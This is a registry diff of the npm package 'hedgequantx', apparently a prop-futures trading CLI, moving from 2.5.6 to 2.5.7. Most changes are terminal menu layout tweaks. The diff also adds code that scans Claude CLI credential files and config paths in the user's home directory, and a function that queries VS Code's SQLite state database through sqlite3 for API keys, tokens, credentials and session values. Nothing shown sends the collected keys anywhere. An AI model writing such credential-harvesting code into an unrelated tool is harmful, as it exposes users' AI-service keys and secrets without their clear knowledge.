hedgequantx 2.5.6 → 2.5.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "hedgequantx",
3
- "version": "2.5.6",
3
+ "version": "2.5.7",
4
4
  "description": "HedgeQuantX - Prop Futures Trading CLI",
5
5
  "main": "src/app.js",
6
6
  "bin": {
@@ -6,7 +6,7 @@
6
6
  const chalk = require('chalk');
7
7
  const ora = require('ora');
8
8
 
9
- const { getLogoWidth, drawBoxHeader, drawBoxFooter, displayBanner } = require('../ui');
9
+ const { getLogoWidth, drawBoxHeader, drawBoxHeaderContinue, drawBoxFooter, displayBanner } = require('../ui');
10
10
  const { prompts } = require('../utils');
11
11
  const aiService = require('../services/ai');
12
12
  const { getCategories, getProvidersByCategory } = require('../services/ai/providers');
@@ -31,7 +31,7 @@ const aiAgentMenu = async () => {
31
31
 
32
32
  console.clear();
33
33
  displayBanner();
34
- drawBoxHeader('AI AGENT', boxWidth);
34
+ drawBoxHeaderContinue('AI AGENT', boxWidth);
35
35
 
36
36
  // Show current status
37
37
  const connection = aiService.getConnection();
@@ -104,7 +104,7 @@ const showExistingTokens = async () => {
104
104
 
105
105
  console.clear();
106
106
  displayBanner();
107
- drawBoxHeader('SCANNING FOR EXISTING SESSIONS...', boxWidth);
107
+ drawBoxHeaderContinue('SCANNING FOR EXISTING SESSIONS...', boxWidth);
108
108
  console.log(makeLine(''));
109
109
  console.log(makeLine(chalk.gray('CHECKING VS CODE, CURSOR, CLAUDE CLI, OPENCODE...')));
110
110
  console.log(makeLine(''));
@@ -80,20 +80,34 @@ const dashboardMenu = async (service) => {
80
80
 
81
81
  console.log(chalk.cyan('╠' + '═'.repeat(W) + '╣'));
82
82
 
83
- // Menu in 2 columns
84
- const col1Width = Math.floor(W / 2);
85
- const menuRow = (left, right) => {
86
- const leftPlain = left.replace(/\x1b\[[0-9;]*m/g, '');
87
- const rightPlain = right.replace(/\x1b\[[0-9;]*m/g, '');
88
- const leftPadded = ' ' + left + ' '.repeat(Math.max(0, col1Width - leftPlain.length - 2));
89
- const rightPadded = right + ' '.repeat(Math.max(0, W - col1Width - rightPlain.length));
90
- console.log(chalk.cyan('║') + leftPadded + rightPadded + chalk.cyan('║'));
83
+ // Menu in 3 columns
84
+ const colWidth = Math.floor(W / 3);
85
+
86
+ const menuRow3 = (col1, col2, col3) => {
87
+ const c1Plain = col1.replace(/\x1b\[[0-9;]*m/g, '');
88
+ const c2Plain = col2.replace(/\x1b\[[0-9;]*m/g, '');
89
+ const c3Plain = col3.replace(/\x1b\[[0-9;]*m/g, '');
90
+
91
+ const c1Padded = ' ' + col1 + ' '.repeat(Math.max(0, colWidth - c1Plain.length - 2));
92
+ const c2Padded = col2 + ' '.repeat(Math.max(0, colWidth - c2Plain.length));
93
+ const c3Padded = col3 + ' '.repeat(Math.max(0, W - colWidth * 2 - c3Plain.length));
94
+
95
+ console.log(chalk.cyan('║') + c1Padded + c2Padded + c3Padded + chalk.cyan('║'));
91
96
  };
92
97
 
93
- menuRow(chalk.cyan('[1] VIEW ACCOUNTS'), chalk.cyan('[2] VIEW STATS'));
94
- menuRow(chalk.cyan('[+] ADD PROP-ACCOUNT'), chalk.magenta('[A] ALGO TRADING'));
95
- menuRow(chalk.magenta('[I] AI AGENT'), chalk.yellow('[U] UPDATE HQX'));
96
- menuRow(chalk.red('[X] DISCONNECT'), '');
98
+ const centerLine = (content) => {
99
+ const plainLen = content.replace(/\x1b\[[0-9;]*m/g, '').length;
100
+ const padding = W - plainLen;
101
+ const leftPad = Math.floor(padding / 2);
102
+ console.log(chalk.cyan('║') + ' '.repeat(leftPad) + content + ' '.repeat(padding - leftPad) + chalk.cyan('║'));
103
+ };
104
+
105
+ menuRow3(chalk.cyan('[1] VIEW ACCOUNTS'), chalk.cyan('[2] VIEW STATS'), chalk.cyan('[+] ADD ACCOUNT'));
106
+ menuRow3(chalk.magenta('[A] ALGO TRADING'), chalk.magenta('[I] AI AGENT'), chalk.yellow('[U] UPDATE HQX'));
107
+
108
+ // Separator and disconnect button centered
109
+ console.log(chalk.cyan('╠' + '═'.repeat(W) + '╣'));
110
+ centerLine(chalk.red('[X] DISCONNECT'));
97
111
 
98
112
  console.log(chalk.cyan('╚' + '═'.repeat(W) + '╝'));
99
113
 
@@ -214,11 +214,33 @@ const TOKEN_SOURCES = {
214
214
  name: 'CLAUDE CLI',
215
215
  icon: '🤖',
216
216
  paths: {
217
- darwin: [path.join(homeDir, '.claude')],
218
- linux: [path.join(homeDir, '.claude')],
219
- win32: [path.join(homeDir, '.claude')]
217
+ darwin: [
218
+ path.join(homeDir, '.claude'),
219
+ path.join(homeDir, '.config', 'claude'),
220
+ path.join(getAppDataDir(), 'Claude')
221
+ ],
222
+ linux: [
223
+ path.join(homeDir, '.claude'),
224
+ path.join(homeDir, '.config', 'claude')
225
+ ],
226
+ win32: [
227
+ path.join(homeDir, '.claude'),
228
+ path.join(getAppDataDir(), 'Claude')
229
+ ]
220
230
  },
221
- configFiles: ['.credentials.json', 'credentials.json', 'config.json', '.credentials', 'settings.json', 'settings.local.json', 'auth.json']
231
+ configFiles: ['.credentials.json', 'credentials.json', 'config.json', '.credentials', 'settings.json', 'settings.local.json', 'auth.json', 'claude.json']
232
+ },
233
+
234
+ // Claude config in home directory
235
+ claudeHome: {
236
+ name: 'CLAUDE CONFIG',
237
+ icon: '🤖',
238
+ paths: {
239
+ darwin: [homeDir],
240
+ linux: [homeDir],
241
+ win32: [homeDir]
242
+ },
243
+ configFiles: ['.claude.json', '.clauderc', '.claude_credentials']
222
244
  },
223
245
 
224
246
  opencode: {
@@ -496,6 +518,71 @@ const getFileModTime = (filePath) => {
496
518
  }
497
519
  };
498
520
 
521
+ /**
522
+ * Try to read VS Code SQLite state database
523
+ */
524
+ const readVSCodeStateDb = (dbPath) => {
525
+ const results = [];
526
+
527
+ try {
528
+ // Try using sqlite3 CLI if available
529
+ const { execSync } = require('child_process');
530
+
531
+ // Check if sqlite3 is available
532
+ try {
533
+ execSync('which sqlite3', { stdio: 'pipe' });
534
+ } catch {
535
+ return results; // sqlite3 not available
536
+ }
537
+
538
+ // Query for keys that might contain tokens
539
+ const queries = [
540
+ "SELECT key, value FROM ItemTable WHERE key LIKE '%apiKey%' OR key LIKE '%token%' OR key LIKE '%credential%' OR key LIKE '%session%'",
541
+ "SELECT key, value FROM ItemTable WHERE key LIKE '%anthropic%' OR key LIKE '%openai%' OR key LIKE '%claude%'"
542
+ ];
543
+
544
+ for (const query of queries) {
545
+ try {
546
+ const output = execSync(`sqlite3 "${dbPath}" "${query}"`, {
547
+ encoding: 'utf8',
548
+ timeout: 5000,
549
+ stdio: ['pipe', 'pipe', 'pipe']
550
+ });
551
+
552
+ if (output) {
553
+ const lines = output.trim().split('\n');
554
+ for (const line of lines) {
555
+ const [key, value] = line.split('|');
556
+ if (value && value.length > 20) {
557
+ // Try to identify provider
558
+ for (const [providerId, provider] of Object.entries(PROVIDER_PATTERNS)) {
559
+ for (const pattern of provider.keyPatterns) {
560
+ pattern.lastIndex = 0;
561
+ if (pattern.test(value)) {
562
+ results.push({
563
+ type: 'api_key',
564
+ provider: providerId,
565
+ providerName: provider.displayName,
566
+ token: value,
567
+ keyPath: key
568
+ });
569
+ }
570
+ }
571
+ }
572
+ }
573
+ }
574
+ }
575
+ } catch {
576
+ // Query failed, continue
577
+ }
578
+ }
579
+ } catch {
580
+ // SQLite read failed
581
+ }
582
+
583
+ return results;
584
+ };
585
+
499
586
  /**
500
587
  * List files in directory (recursive optional)
501
588
  */
package/src/ui/box.js CHANGED
@@ -55,7 +55,7 @@ const padText = (text, width) => {
55
55
  };
56
56
 
57
57
  /**
58
- * Draw box header with title
58
+ * Draw box header with title (starts new box with ╔)
59
59
  */
60
60
  const drawBoxHeader = (title, width) => {
61
61
  const innerWidth = width - 2;
@@ -64,6 +64,16 @@ const drawBoxHeader = (title, width) => {
64
64
  console.log(chalk.cyan('\u2560' + '\u2550'.repeat(innerWidth) + '\u2563'));
65
65
  };
66
66
 
67
+ /**
68
+ * Draw box header that continues from previous box (uses ╠ instead of ╔)
69
+ */
70
+ const drawBoxHeaderContinue = (title, width) => {
71
+ const innerWidth = width - 2;
72
+ console.log(chalk.cyan('\u2560' + '\u2550'.repeat(innerWidth) + '\u2563'));
73
+ console.log(chalk.cyan('\u2551') + chalk.cyan.bold(centerText(title, innerWidth)) + chalk.cyan('\u2551'));
74
+ console.log(chalk.cyan('\u2560' + '\u2550'.repeat(innerWidth) + '\u2563'));
75
+ };
76
+
67
77
  /**
68
78
  * Draw box footer
69
79
  */
@@ -104,6 +114,7 @@ module.exports = {
104
114
  centerText,
105
115
  padText,
106
116
  drawBoxHeader,
117
+ drawBoxHeaderContinue,
107
118
  drawBoxFooter,
108
119
  drawBoxRow,
109
120
  drawBoxSeparator,
package/src/ui/index.js CHANGED
@@ -10,6 +10,7 @@ const {
10
10
  centerText,
11
11
  padText,
12
12
  drawBoxHeader,
13
+ drawBoxHeaderContinue,
13
14
  drawBoxFooter,
14
15
  drawBoxRow,
15
16
  drawBoxSeparator,
@@ -105,6 +106,7 @@ module.exports = {
105
106
  centerText,
106
107
  padText,
107
108
  drawBoxHeader,
109
+ drawBoxHeaderContinue,
108
110
  drawBoxFooter,
109
111
  drawBoxRow,
110
112
  drawBoxSeparator,